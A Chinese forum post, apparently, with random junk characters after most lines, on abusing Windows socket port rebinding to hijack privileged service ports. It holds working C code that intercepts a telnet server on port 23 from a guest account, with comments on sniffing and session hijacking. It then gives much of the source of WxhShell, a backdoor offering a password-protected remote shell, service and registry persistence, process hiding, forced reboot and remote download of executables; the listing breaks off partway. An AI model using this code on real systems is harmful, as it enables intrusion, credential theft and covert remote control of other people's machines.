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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fbTq?4&Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QLs9W& PG  
O c[F  
  saddr.sin_family = AF_INET; (6y[,lYH  
j_(DH2D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &["s/!O1R  
}?\8%hK"a7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ipp#{'Do  
P{bRRn4Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GiZv0>*x  
$wr B5m?  
  这意味着什么?意味着可以进行如下的攻击: KQf=t0Z=Ce  
H%nA"-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D]?eRO9'  
EJCf[#Sf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  Kl'u  
65HP9`5Tm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z! /!4(Fh  
yb-1zF|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7R4t%^F  
bpr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vvTQ!Aa  
OV"uIY[%8V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $fzO:br5WJ  
rexNsKRK_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @QN(ouqQ  
A_y]6~Mu?~  
  #include Nv~H797B  
  #include $_ BoG  
  #include FI(iqSJ6  
  #include    d3[O!4<T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >=6 j:  
  int main() <Jf[N=  
  { |3bCq(ZR\P  
  WORD wVersionRequested; s3/iG37K  
  DWORD ret; *=2sXH1j  
  WSADATA wsaData; Uh w:XV@m  
  BOOL val; <hV%OrBz-  
  SOCKADDR_IN saddr; 'vX:)ZDi  
  SOCKADDR_IN scaddr; /q^\g4J  
  int err; ~pC\"LU`  
  SOCKET s; JK/gq}c  
  SOCKET sc; 9n#lDL O  
  int caddsize; t@;r~S b  
  HANDLE mt; 5r)]o'? s  
  DWORD tid;   d:L|BkQ7*  
  wVersionRequested = MAKEWORD( 2, 2 ); 6CV9ewr  
  err = WSAStartup( wVersionRequested, &wsaData ); R1/h<I:  
  if ( err != 0 ) { $(r/N"6)O2  
  printf("error!WSAStartup failed!\n"); V0/PjD,jP  
  return -1; m-HL7&iG$  
  } m ]h<y  
  saddr.sin_family = AF_INET; iW9o-W a  
   fvi8+3A&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4lF(..Ix  
-cONC9 =  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BN~gk~t_  
  saddr.sin_port = htons(23); n/6qc3\5i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |>~pA}  
  { }0oVIr  
  printf("error!socket failed!\n"); [S_qi,  
  return -1; iD${7 _  
  } X{u\|e{  
  val = TRUE; !qe:M]C'l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]zATdfa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V{{Xz:   
  { Bnfp_SM  
  printf("error!setsockopt failed!\n"); ,+>JQ82  
  return -1; PC<[ $~  
  } s L=}d[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >]}c,4D(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1PUeU+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i",7<01  
1=Z, #r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rizWaw5E!8  
  { .Cz9?]jyI  
  ret=GetLastError(); _+6aD|7x  
  printf("error!bind failed!\n"); ~QngCg-5q  
  return -1; Fl}{"eCF8  
  } <}Hs@`jS  
  listen(s,2); M~ku4ZP  
  while(1) NiSH$ MJ_  
  { @~CXnc0  
  caddsize = sizeof(scaddr); P;U(2;9 N  
  //接受连接请求 $.F.xYS9IJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -(lCM/h  
  if(sc!=INVALID_SOCKET) g2%fla7r  
  { wZ%a:Z4TcM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #oD;?Mi  
  if(mt==NULL) b[rVr J  
  { AF\gB2^  
  printf("Thread Creat Failed!\n"); Fnc MIzp  
  break; })y B2Q0  
  } U}R (  
  } V0G"Z6  
  CloseHandle(mt); +GvPJI  
  } =k]2 Ad  
  closesocket(s); XI\P#"  
  WSACleanup(); T9\G,;VQ7/  
  return 0; %PlA9@:IZ  
  }   [T(`+ #f  
  DWORD WINAPI ClientThread(LPVOID lpParam) phi9/tO\u  
  { O^~Z-; FA  
  SOCKET ss = (SOCKET)lpParam; JFu9_=%+  
  SOCKET sc; "O/ 6SV  
  unsigned char buf[4096]; dqgH"g  
  SOCKADDR_IN saddr; ;J,`v5z0:  
  long num; 7V2xg h!W  
  DWORD val; awl3|k/  
  DWORD ret; t Uk)S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Bp-e< :  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d T7!+)s5-  
  saddr.sin_family = AF_INET; Fv-~v&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \A 5Na-/9  
  saddr.sin_port = htons(23); /liZ|K3A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ugzrG0=lx  
  { cBtQ2,<6  
  printf("error!socket failed!\n"); uI\6":/u  
  return -1; Yy'CBIq#f  
  } =`ECM7  
  val = 100; Ku?1QDhrF*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rcz9\@M  
  { 1<;VD0XX  
  ret = GetLastError(); QTospHf`  
  return -1; !LJ4 S  
  } 4x-K0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kz"&:&R"  
  { Nj{;  
  ret = GetLastError(); 9~{,Hj1xE  
  return -1; oTg 'N  
  } ZkryoIQ%=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :[&QoEZW  
  { ]oLyvG  
  printf("error!socket connect failed!\n");  a"D'QqtH  
  closesocket(sc); 2j&0U!DX  
  closesocket(ss); 6xLQ  
  return -1; L:\>)6]Ls  
  } CrB4%W:{  
  while(1) g&rz*)|/  
  { TPn#cIPG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PsM8J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3qkPe_<I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bT^(D^  
  num = recv(ss,buf,4096,0); ^B!()39R?  
  if(num>0) jAdZS\?w  
  send(sc,buf,num,0); 9t!Agxm  
  else if(num==0) 7/K L<T9@  
  break; .=zBUvy  
  num = recv(sc,buf,4096,0); lS]6Sk Z6  
  if(num>0) /vI"v 4  
  send(ss,buf,num,0); >en\:pJn)'  
  else if(num==0) On0,#i=  
  break; )jjL'  
  } yN/g;bQ  
  closesocket(ss); 1&RB=7.h  
  closesocket(sc); ioUO 0  
  return 0 ; P4:Zy;$v!  
  } FXul u6"SX  
gwbV$[.X  
B'I_i$g4w  
==========================================================  (duR1Dz  
[Z^26/5a  
下边附上一个代码,,WXhSHELL 7Vu f4Z5  
-<:w{cV  
========================================================== 85USMPF  
KQ^|prN?y  
#include "stdafx.h" .hJcK/m  
urg^>n4V]  
#include <stdio.h> Dq-[b+bm  
#include <string.h> n#sK31;yb  
#include <windows.h> g> m)XY  
#include <winsock2.h> &3Lhb}m  
#include <winsvc.h> V\AY=u  
#include <urlmon.h> %2\6.c=c  
mqbCa6>_S  
#pragma comment (lib, "Ws2_32.lib") |I;]fH,+  
#pragma comment (lib, "urlmon.lib") ^kke  
xDNXI01o  
#define MAX_USER   100 // 最大客户端连接数 @hwNM#>`  
#define BUF_SOCK   200 // sock buffer M+I9k;N6&  
#define KEY_BUFF   255 // 输入 buffer ~~@dbB  
_WZ{i,  
#define REBOOT     0   // 重启 j`#H%2W\;  
#define SHUTDOWN   1   // 关机 %Fx ^"  
=@c;%x  
#define DEF_PORT   5000 // 监听端口 Y;@]G=a   
w3#0kl  
#define REG_LEN     16   // 注册表键长度 xo4lM  
#define SVC_LEN     80   // NT服务名长度 v\E6N2.S  
RKZBI?@4  
// 从dll定义API <zm:J4&>T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fmD~f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); egAYJK-,!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R@#xPv4o%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eVd:C8q  
WcY$=\7  
// wxhshell配置信息 -d-xsP} s  
struct WSCFG { Q.fUpa v  
  int ws_port;         // 监听端口 raZkH8  
  char ws_passstr[REG_LEN]; // 口令 ?_r{G7|D  
  int ws_autoins;       // 安装标记, 1=yes 0=no G7i0P j  
  char ws_regname[REG_LEN]; // 注册表键名 /|3~LvIt=  
  char ws_svcname[REG_LEN]; // 服务名 H^dw=kS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J#5V>7G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hiv {A9a?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _2{2Xb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gjx-tp 1.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qMoo#UX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xUNq!({T  
uzT+,  
}; L9oLdWa(C  
6&QOC9JW+7  
// default Wxhshell configuration x4h.WDT$  
struct WSCFG wscfg={DEF_PORT, G9Noch9 g  
    "xuhuanlingzhe", 4Dy1M}7  
    1, j7$xHnV4  
    "Wxhshell", QNXoAx%I  
    "Wxhshell", _.E{>IFw  
            "WxhShell Service", 9GsG*$-I  
    "Wrsky Windows CmdShell Service", 6"NtVfui  
    "Please Input Your Password: ", X(BX+)YR  
  1, eeBW~_W  
  "http://www.wrsky.com/wxhshell.exe", gW<4E=fl  
  "Wxhshell.exe" 5$Kd<ky  
    }; OT(0~,.GJ  
ex^9 l b  
// 消息定义模块 e1y#p3 @d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (BngwLVDK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N|%r5%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =k,?+h~  
char *msg_ws_ext="\n\rExit."; JLz32 %-M  
char *msg_ws_end="\n\rQuit."; a:OMI  
char *msg_ws_boot="\n\rReboot..."; n^b CrvD  
char *msg_ws_poff="\n\rShutdown..."; YQtq?&0Ct  
char *msg_ws_down="\n\rSave to "; 22;B:  
+o'xyR'(  
char *msg_ws_err="\n\rErr!"; 9_4(}|"N|  
char *msg_ws_ok="\n\rOK!"; :pNS$g[  
.R#-u/6g(  
char ExeFile[MAX_PATH]; V7`vLs-  
int nUser = 0; sAPQbTSM  
HANDLE handles[MAX_USER]; R NQq"c\  
int OsIsNt; ^>>9?  
,F*HZBNFZ  
SERVICE_STATUS       serviceStatus; OjNOvh&N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~d3@x\I?  
eo@8?>}{X  
// 函数声明 m`):= ^nC  
int Install(void); .5AFAGv_c  
int Uninstall(void); +FAxqCkA  
int DownloadFile(char *sURL, SOCKET wsh); nLmF5.&  
int Boot(int flag); !@wUAR Q  
void HideProc(void); cK2;)&U7  
int GetOsVer(void); }p-/R'  
int Wxhshell(SOCKET wsl); 54B`T/>R:E  
void TalkWithClient(void *cs); ZJ~0o2xZ'  
int CmdShell(SOCKET sock); kr@!j@j$  
int StartFromService(void); 3,`M\#z%K  
int StartWxhshell(LPSTR lpCmdLine); KhP_U{)D  
Zy.A9 Bh~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8)1=5 n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z:Vde^Ih  
>I<}:=   
// 数据结构和表定义 I3b*sx$  
SERVICE_TABLE_ENTRY DispatchTable[] = uMpuS1  
{ x%9Ca)r?}  
{wscfg.ws_svcname, NTServiceMain}, dG8mE&$g  
{NULL, NULL} }s:3_9mE  
}; :WsHP\r  
/Oi(5?Jn  
// 自我安装 [8q`~S%-]  
int Install(void) Qa\,)<'D:  
{ )_n(u3'  
  char svExeFile[MAX_PATH]; $CJf 0[|  
  HKEY key; >8x)\'w  
  strcpy(svExeFile,ExeFile); /d">}%Jn  
SSTn |  
// 如果是win9x系统,修改注册表设为自启动 -T i<H9OV  
if(!OsIsNt) { C9!FnvH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B/qN1D]U.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l'M/et{:  
  RegCloseKey(key); $7]?P;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KATf9-Sz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c~ vql4  
  RegCloseKey(key); _cC1u7U9  
  return 0; 1 0.Z Bfn  
    } $E[M[1j  
  } S:Jg#1rww-  
} !`4ie  
else { 1RX-`"^+  
)db:jPkwd  
// 如果是NT以上系统,安装为系统服务 a(*"r:/lD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MxUbx+_N  
if (schSCManager!=0) ?.uhp  
{ m #G,m  
  SC_HANDLE schService = CreateService UjLq[,_!  
  ( BOR$R}q  
  schSCManager, LFqY2,#i  
  wscfg.ws_svcname, evD=]iVD  
  wscfg.ws_svcdisp, U1  *P  
  SERVICE_ALL_ACCESS, H=*0KX{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E2t& @t%W  
  SERVICE_AUTO_START, 6J#R1.h  
  SERVICE_ERROR_NORMAL, w ^^l,  
  svExeFile, nd,\<}uP9  
  NULL, 0v9i43[S|J  
  NULL, akPd#mf  
  NULL, W`c$2KS?DO  
  NULL, N 3O!8A_  
  NULL R,["w9 8a  
  ); \ykA7Y%  
  if (schService!=0) oM^vJ3  
  { Q4*{+$A  
  CloseServiceHandle(schService); &/2+'wCp5  
  CloseServiceHandle(schSCManager); Gc*=n*@^K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DfU= i'R  
  strcat(svExeFile,wscfg.ws_svcname); nk_X_y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GA` bWl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r..f$FF)\  
  RegCloseKey(key); =qoOr~  
  return 0; ^c/3 !"wK  
    } <gGO  
  } b<#zgf  
  CloseServiceHandle(schSCManager); L[<Y6u>m!1  
} BNA1"@9q  
} xdDe@G;"  
t^>P,%$  
return 1; V2AsZc0U(  
} rZ5xQ#IA  
\,n X/f  
// 自我卸载 k%\y,b*  
int Uninstall(void) )F\kGe  
{ w8j pOvj  
  HKEY key; <HTz  
^!i4d))  
if(!OsIsNt) { -{J0~1'#-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?~T(Cue>  
  RegDeleteValue(key,wscfg.ws_regname); +4Wl  
  RegCloseKey(key); m8x?`Gw~jw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %K8YZc(&  
  RegDeleteValue(key,wscfg.ws_regname); a5O$he  
  RegCloseKey(key); 0H.bRk/P+  
  return 0; f%1\1_^g  
  } 7fzH(H  
} !FyO5`v  
} K^[m--  
else { :w Y%=  
ahZ@4v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); py':36'  
if (schSCManager!=0) 6vxRam6[??  
{ ]Ol w6W?%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z+EZ</'(a  
  if (schService!=0) \}9)`1D  
  { \o3s&{+ y,  
  if(DeleteService(schService)!=0) { l-20X{$m:  
  CloseServiceHandle(schService); uPN^o.,/.  
  CloseServiceHandle(schSCManager); I![/bwObG  
  return 0; m@*aA}69  
  } e]ST0J"  
  CloseServiceHandle(schService); TOgH~R=  
  } 8tf>G(I{  
  CloseServiceHandle(schSCManager); ]]`[tVaFr  
} UY,u-E"  
} s?;V!t  
23K#9!3  
return 1; U HTxNK@}  
} ]5:[6;wS  
IG;= |  
// 从指定url下载文件 Oml3=TV  
int DownloadFile(char *sURL, SOCKET wsh) {M=B5-  
{ B-L@ 0gH  
  HRESULT hr; Q>;Aq!mr=  
char seps[]= "/"; W>Pcj EI  
char *token; 4T"L#o1  
char *file; V4CA*FEA  
char myURL[MAX_PATH]; D'{ o3Q,%K  
char myFILE[MAX_PATH]; `('Up?  
Xkx&'/QG,U  
strcpy(myURL,sURL); pNuU{:9 B0  
  token=strtok(myURL,seps); v;g,qO!LJ  
  while(token!=NULL) qz Hsqlof  
  { J8@+)hn  
    file=token; `:m=rT_  
  token=strtok(NULL,seps); QkTU@T6>o  
  } [I'q"yRu]i  
!Q%r4Nr  
GetCurrentDirectory(MAX_PATH,myFILE); z Z~t ,>  
strcat(myFILE, "\\"); l ObY  
strcat(myFILE, file); H15!QxD#  
  send(wsh,myFILE,strlen(myFILE),0); &`>dY /Y  
send(wsh,"...",3,0); p<Tg}fg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GMLx$?=j  
  if(hr==S_OK) eYjF"Aq  
return 0; "]'W^Fg  
else x 0vW9*&  
return 1; 6 !fq658  
$Op:-aW&  
} 8Jp?@qt=$  
$(OL#>9Ly  
// 系统电源模块 Oq3t-omXS  
int Boot(int flag) !^1oH**  
{ @^-f +o  
  HANDLE hToken; }095U(@  
  TOKEN_PRIVILEGES tkp; nHfAx/9!  
h]|2b0  
  if(OsIsNt) { i1b3>H*3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,y/m5-D!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &@2`_%QtA  
    tkp.PrivilegeCount = 1; **6X9ZIX[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :,/ \E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sv "GX< +  
if(flag==REBOOT) { bZQ_j#{$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i !SN"SY  
  return 0; *>o@EUArN  
} u+jx3aP:  
else { ;t@^Z_z,CR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d)$ seZB  
  return 0; K #JO#  
} {cw+kY]m4-  
  } eR3MU]zF  
  else { {@-tRm&  
if(flag==REBOOT) { IWhe N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ms+gq  
  return 0; -*?{/QmKb  
} :4"b(L  
else {  M[R'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1'k,P;s  
  return 0; =)Goip  
} : :/vDUDc  
} y>g`R^^  
x^pHP|<3`  
return 1; g$# JdN  
} (Fk&~/SP  
V0F1X s`  
// win9x进程隐藏模块 x_4{MD^%  
void HideProc(void) n!NA}Oa  
{  Zzr  
4%TmW/yd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2qKAO/_O  
  if ( hKernel != NULL ) G#'G9/Tm  
  { 'w\Gd7E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gaL.5_1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K5+ONA<c  
    FreeLibrary(hKernel); 5Ak>/QF9  
  } ]}_Ohe]X  
gGbqXG^  
return; /"1[qT\F  
} OnE~0+  
|X~vsM0  
// 获取操作系统版本 6" . v6  
int GetOsVer(void) <<1_rRL]  
{ N$8"X-na?  
  OSVERSIONINFO winfo; .Na'yS `J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GIUyW  
  GetVersionEx(&winfo); !t&C,@Ox  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u$x'P <b  
  return 1; o-]8)G>~M  
  else o1<Z; 2#  
  return 0; >9Y0t^Fl  
} _#o75*42tT  
r9^~I  
// 客户端句柄模块 TIP H#W:v  
int Wxhshell(SOCKET wsl) jouT9~[L'  
{ T\T>\&nY+|  
  SOCKET wsh; G0x!:[  
  struct sockaddr_in client; '[[*(4 a3  
  DWORD myID; [8`^_i=#  
ery{>|k  
  while(nUser<MAX_USER) 28xLaob  
{ ~NO'8 Mr  
  int nSize=sizeof(client); 1 swqs7rR|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (R{z3[/u&  
  if(wsh==INVALID_SOCKET) return 1; ]LSlo593  
0 9*?'^s4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TJ(vq]|&  
if(handles[nUser]==0) Hb9r.;r<EW  
  closesocket(wsh); 'jU;.vZex  
else v;R+{K87  
  nUser++; 0 aiE0b9c  
  } T7 XbbU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4= hz4(5a  
0J9Ub   
  return 0; YoRD9M~iG~  
} G/}nwj\  
K6oQx)|  
// 关闭 socket A)o%\j  
void CloseIt(SOCKET wsh) f<2<8xS  
{ o}lA\A  
closesocket(wsh); Ns`:=  
nUser--; yvKKE  
ExitThread(0); 1|#j/  
} KHt#mQy)9  
1VO>Bh.Wm  
// 客户端请求句柄 g6<D 1r  
void TalkWithClient(void *cs) [ST7CrwC  
{ .?-]+ -J?`  
1BA5|  
  SOCKET wsh=(SOCKET)cs; P;l D ri  
  char pwd[SVC_LEN]; 17;qJ_T)  
  char cmd[KEY_BUFF]; gS ^Y?  
char chr[1]; Y>'t)PK  
int i,j; iJ~e8l0CA  
x?-kt.M  
  while (nUser < MAX_USER) { .&c!k1kH  
@RVj~J.A  
if(wscfg.ws_passstr) { CKRnkTTiV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F%e5j9X`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yDBMm^  
  //ZeroMemory(pwd,KEY_BUFF); &GLe4zEh  
      i=0; }q[IhjD%  
  while(i<SVC_LEN) { U10:@Wzh  
H=7Nh6v  
  // 设置超时 RB/;qdqR  
  fd_set FdRead; /7XVr"R  
  struct timeval TimeOut; u1i ?L'  
  FD_ZERO(&FdRead); ++M%PF [ {  
  FD_SET(wsh,&FdRead); Z"g6z#L&  
  TimeOut.tv_sec=8; 6I$:mHEhd  
  TimeOut.tv_usec=0; /c-%+Xd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y^J/jA0\B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q#!c6lG  
&Kc'g H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u}IQ)Ma  
  pwd=chr[0]; 5QJ FNE  
  if(chr[0]==0xd || chr[0]==0xa) { BpZ17"\z  
  pwd=0;  k8ej.  
  break; A**PGy.Ni  
  } I=Xj;\b  
  i++; d7Devs k  
    } =OF]xpI'&a  
0w ] pDj  
  // 如果是非法用户,关闭 socket ,*'aH z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #`{L_n$c  
} j+>&~  
? ;)F_aHp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .< /.(7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7`Bwo*Y  
kv'gs+,e  
while(1) { d<B=p&~  
9$:+5f,%a  
  ZeroMemory(cmd,KEY_BUFF); F {T\UX  
Gf1O7L1rX  
      // 自动支持客户端 telnet标准   DFFB:<  
  j=0; {oc7Chv=/H  
  while(j<KEY_BUFF) { 23=SXA!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZpQ8KY$ 5  
  cmd[j]=chr[0]; /A~+32 B  
  if(chr[0]==0xa || chr[0]==0xd) { r:uW(<EP^  
  cmd[j]=0; Di8;Tq  
  break; xKC{P{:  
  } @Tg +Kt  
  j++; &C7HG^;W9  
    } b9@VD)J0E  
\H5{[ZUn  
  // 下载文件 p?zh4:\F+  
  if(strstr(cmd,"http://")) { C1KO]e>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -$m?ShDd  
  if(DownloadFile(cmd,wsh)) ^L;k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.Ljz Z  
  else j>t*k!db  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -S%)2(f^  
  } *<nfA}  
  else { v\?J$Hdd  
Ffp<|2T2_  
    switch(cmd[0]) { =3?"s(9  
  =c(3EI'w  
  // 帮助 Kp_^ 2V?  
  case '?': { fnm:Wa|,%|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IB+)2`  
    break; C2 ] x  
  } >E3 lY/[  
  // 安装 <<[hZ$.  
  case 'i': { :},/ D*v  
    if(Install()) .JkF{&=B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |]9Z#lv+I  
    else YKsc[~ h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &,B91H*#  
    break; >ey- j\_v  
    } !,3U_!  
  // 卸载 ^  M4-O~  
  case 'r': { K'zG[[P  
    if(Uninstall()) {l-V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qxe%RYdA'j  
    else qW6}^aa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SMdkD]{g  
    break; hMiuv_EO!  
    } b_JW3l  
  // 显示 wxhshell 所在路径 \7Fkeo+  
  case 'p': { E5b JIC(  
    char svExeFile[MAX_PATH]; p-t*?p C  
    strcpy(svExeFile,"\n\r"); d@72z r  
      strcat(svExeFile,ExeFile); ^BFD -p  
        send(wsh,svExeFile,strlen(svExeFile),0); 0fTEb%z8  
    break;  !bi}9w  
    } _("&jfn  
  // 重启 ?w[M{   
  case 'b': { YQ+Kl[ec  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `b{.K,  
    if(Boot(REBOOT)) $q6'VLPo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s*B-|  
    else { Kc:} Ky  
    closesocket(wsh); dn1Tu6f;|  
    ExitThread(0); pH1 9"=p<  
    } 20t</lq.  
    break; /:}z*a  
    } ohA@Zm8O  
  // 关机 t!Uc, mEV]  
  case 'd': { q|A-h'  
